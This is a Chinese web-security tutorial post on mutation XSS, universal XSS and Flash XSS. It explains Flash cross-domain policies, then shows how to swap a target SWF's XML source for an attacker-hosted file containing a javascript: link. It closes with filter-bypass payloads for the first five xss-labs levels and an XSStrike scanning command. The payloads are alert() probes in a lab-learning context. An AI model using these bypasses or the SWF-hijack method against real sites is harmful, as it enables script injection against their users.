web安全Flashxss&mxss&uxss&FuzzBypass

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全Flashxss&mxss&uxss&FuzzBypass相关的知识,希望对你有一定的参考价值。

一、mxss&uxss分析

mXSS
mXSS中文是突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。下面的漏洞是存在于以前版本的PC的QQ客户端的页面预览功能

当在QQ客户端里分享上面的博客园那篇文章的链接,而QQ存在网址预览功能,于是点击网址可以在右侧显示出优化后的页面的内容,就导致了XSS的产生;这个预览功能实际上是QQ客户端内嵌了一个网页,这个页面对原网页内容进行提取和处理的过程中,将原本无害的XSS Payload进行了转码操作,于是导致了Payload 变异而产生了XSS。

mXSS的缺陷:实际上,页面预览这个功能不是针对所有网址都可以预览,对于一些大型的网站,估计是有白名单机制或者是认证的网站,才能进行预览,随便一个网址是不可以的,这本身也是一种信任的限制在里面,如果是随意的网站,那就更好控制内容了,所以对于域名是有限制的;这里也存在一个信任的问题,理论上,这些大站的内容应该是没问题的,但实际情况是可被控制而导致产生XSS。

UXSS
UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal XSS。UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。

在这里插入图片描述
实质上UXSS就是针对浏览器漏洞的一种攻击

在这里插入图片描述
在这里插入图片描述

其他xss参考:https://www.fooying.com/the-art-of-xss-1-introduction/

二、flashxss分析

Flash 安全沙盒
Flash 安全沙盒用于控制swf文件间跨域访问,如果两个域之间没有进行信任授权是无法进行数据交互的.尝试访问会产生安全错误.

说明:
com下的swf文件能够与a.com下的swf文件进行交互
com下的swf文件能够与a.com下的swf文件进行交互
com 下的swf文件无法访问b.com的swf文件
两个不同安全域下的swf文件,之间是不能互相交互数据的。如果想让两个处于不同安全域内的SWF文件进行数据交互通信,必须要经过授权来实现。经过数据通信授权后即可进行数据通信交互。

授权:
ActionScript中关于SWF文件跨域信任授权访问是通过
Security.allowDomain()方法来实现的。

http://a.xxxx.com/a.swf 代码:

var loader:Loader =new Loader();

loader.contentLoaderInfo.addEventListener(Event.INIT,init);

var url:String="http://b.xxxx.com/b.swf";

loader.load(new URLRequest(url));

function init(event:Event):void

{  trace(loader.content);}

http://b.xxxx.com/b.swf 代码:

Security.allowDomain("a.xxxx.com");

Security.allowDomain("*");

上面是两种不同的设置方式

1.只允许a.xxxx.com访问b.xxxx.com中的SWF文件

2.如果使用*号那么任何域中的SWF文件都能访问执行调用 b.xxxx.com中的SWF文件。

Crossdomian.xml
Crossdomian.xml是控制Flash的跨域策略文件,放在网站根目录.作用和allowDomain类似,在Crossdomain.xml文件中可以设置一个或多个信任域名.下面是youku的Corssdomian.xml文件,注意把Crossdomian.xml放在网站的根目录

 <cross-domain-policy>

<allow-access-from domain="*.youku.com"/>

<allow-access-from domain="*.ykimg.com"/>//允许ykimgcom域名的Flash访问

<allow-access-from domain="*.tudou.com"/>

<allow-access-from domain="*.tudouui.com"/>

<allow-access-from domain="*.tdimg.com"/>

</cross-domain-policy>

或者

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="*.xxx.com" />
</cross-domain-policy> 

那么在实战中,我们可以通过谷歌语法搜索 filetype:swf inurl:xml 带有swf文件的xml,然后我们把它的xml文件进行下载,下载完成后我们进行一个恶意的修改,修改成我们的xss语句

<link>javascript:alert(1)</link>

把这个修改后的xml放在我们的网站根目录,完事之后把请求的域名换成我们的域名比如
正常网页 www.xxxx.com/ssf100.swf?http://xxxx.com/123.php&xmlRUL=http://xxxx.com/123.xml
构造后的网页 www.xxxx.com/ssf100.swf?http://xxxx.com/123.php&xmlRUL=http://xss.com/xss.xml

flashxss参考:https://www.secpulse.com/archives/44299.html

三、绕过代码层过滤分析bypass

xss 跨站漏洞平台:https://github.com/do0dl3/xss-labs
xss 总结:https://xz.aliyun.com/t/2936

第一关
在这里插入图片描述

<script>alert(1)</script>

第二关
在这里插入图片描述
最普通的xss不行,查看元素发现被双引号过滤了,那么我们只需要闭合

"><script>alert(1)</script>//  闭合

第三关
在这里插入图片描述
我们看到这里是单引号,所以采用单引号闭合

在这里插入图片描述
但是还是不行,因为构造的xss代码被转义了,所以只能采用另一种事件类型

' onclick=alert(1) //

第四关
和第三关一样事件双引号闭合

" onclick=alert(1) //

第五关
在这里插入图片描述
第五关这里就是关键字过滤,我们只需要定义其他类型的即可绕过
在这里插入图片描述

"><a href="javascript:alert(1)">aa</a> // 闭合自定义

那么后续的过关操作参考:https://blog.csdn.net/wo41ge/article/details/107459332

四、项目自动探针&手工Fuzz发包

XSS自动化漏扫:https://github.com/s0md3v/XSStrike
XSStrike 是一款用于探测并利用XSS漏洞的脚本
在这里插入图片描述
GET方法

python xsstrike.py -u "http://example.com/search.php?q=query"

使用参考:https://blog.csdn.net/lady_killer9/article/details/109105084

手工Fuzz:通过burp抓包结合fuzz字典进行发包判断
fuzz字典:https://github.com/TheKingOfDuck/fuzzDicts

在这里插入图片描述

以上是关于web安全Flashxss&mxss&uxss&FuzzBypass的主要内容,如果未能解决你的问题,请参考以下文章

web安全:xss && csrf

小迪安全 Web安全 基础入门

web安全XML&XXE安全&外部实体&利用

web安全业务逻辑找回机制安全&接口安全

小迪安全 Web安全 PHP开发 – 第十四天 – 个人博客项目&输入输出类&留言板&访问IP&UA头

web安全文件上传漏洞&代码函数&格式后缀&场景